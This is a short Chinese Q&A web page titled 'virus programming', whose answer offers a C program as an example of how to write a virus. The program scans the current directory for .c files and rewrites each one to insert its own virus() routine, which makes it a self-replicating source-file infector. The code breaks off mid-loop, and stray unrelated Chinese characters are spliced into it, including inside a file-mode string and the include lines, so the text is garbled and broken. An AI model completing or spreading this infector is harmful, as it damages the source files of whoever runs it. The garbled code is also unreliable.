您的位置首页生活小窍门

病毒编程

病毒编程

不知道怎么教你 给你看灶陵羡个程序#include #include void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf[i],80,in); i++; }while(p!=NULL); fclose(in); out=fopen(ffblk.ff_name,"隐拍w+t"); fputs("#include\n",out); fputs("#include汪闹\n",out); do { if(strstr(buf[j],main)!=NULL) { for(;j